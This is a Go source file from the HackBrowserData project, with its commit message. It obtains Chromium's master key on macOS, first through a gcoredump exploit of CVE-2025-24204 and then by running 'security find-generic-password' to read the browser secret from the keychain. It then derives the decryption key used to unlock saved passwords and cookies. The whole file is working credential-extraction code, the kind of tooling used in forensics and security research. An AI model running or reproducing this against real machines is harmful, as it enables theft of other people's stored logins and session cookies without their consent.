Files
HackBrowserData/browser/chromium/chromium_darwin.go
T
Roger 9fb5165fcb feat: add crypto/keyretriever with keychainbreaker integration (#518)
* feat: add crypto/keyretriever package for Chromium master key retrieval

* feat: complete keyretriever with gcoredump, chainbreaker, and tests

* refactor: replace internal chainbreaker with keychainbreaker v0.1.0

Replace the incomplete internal chainbreaker implementation (~1400 lines
of duplicated code) with the external keychainbreaker package, which
provides a complete, well-tested keychain parsing library.

Changes:
- Add github.com/moond4rk/keychainbreaker v0.1.0 dependency
- Update gcoredump_darwin.go to use keychainbreaker API (Open/Unlock/GenericPasswords)
- Add KeychainPasswordRetriever for password-based keychain unlocking
  with sync.Once caching across multiple browser queries
- Unify DefaultRetriever(keychainPassword string) signature across all platforms
- Delete utils/chainbreaker/ (696 lines + test + testdata)
- Delete crypto/keyretriever/chainbreaker_darwin.go (696 lines duplicate)
- Delete browser/exploit/gcoredump/ (duplicate of keyretriever version)
- Update chromium_darwin.go to use keyretriever.DecryptKeychain
- Clean up .golangci.yml lint exceptions and .gitignore entries
- Use errors.Is() instead of == for context.DeadlineExceeded check

* refactor: improve gcoredump exploit code quality and add comments
* fix: address Copilot review feedback on keyretriever
2026-04-04 01:41:01 +08:00

78 lines
2.1 KiB
Go

//go:build darwin
package chromium
import (
"bytes"
"crypto/sha1"
"errors"
"fmt"
"os"
"os/exec"
"strings"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
var (
errWrongSecurityCommand = errors.New("wrong security command")
errCouldNotFindInKeychain = errors.New("could not be find in keychain")
)
func (c *Chromium) GetMasterKey() ([]byte, error) {
// don't need chromium key file for macOS
defer os.Remove(types.ChromiumKey.TempFilename())
// Try get the master key via gcoredump(CVE-2025-24204)
secret, err := keyretriever.DecryptKeychain(c.storage)
if err == nil && secret != "" {
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
if key, err := c.parseSecret([]byte(secret)); err == nil {
return key, nil
}
} else {
log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
}
// Get the master key from the keychain
// $ security find-generic-password -wa 'Chrome'
var (
stdout, stderr bytes.Buffer
)
cmd := exec.Command("security", "find-generic-password", "-wa", strings.TrimSpace(c.storage)) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return nil, fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return nil, errCouldNotFindInKeychain
}
return nil, errors.New(stderr.String())
}
return c.parseSecret(stdout.Bytes())
}
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
secret = bytes.TrimSpace(secret)
if len(secret) == 0 {
return nil, errWrongSecurityCommand
}
salt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
if key == nil {
return nil, errWrongSecurityCommand
}
c.masterKey = key
log.Debugf("get master key success, browser %s", c.name)
return key, nil
}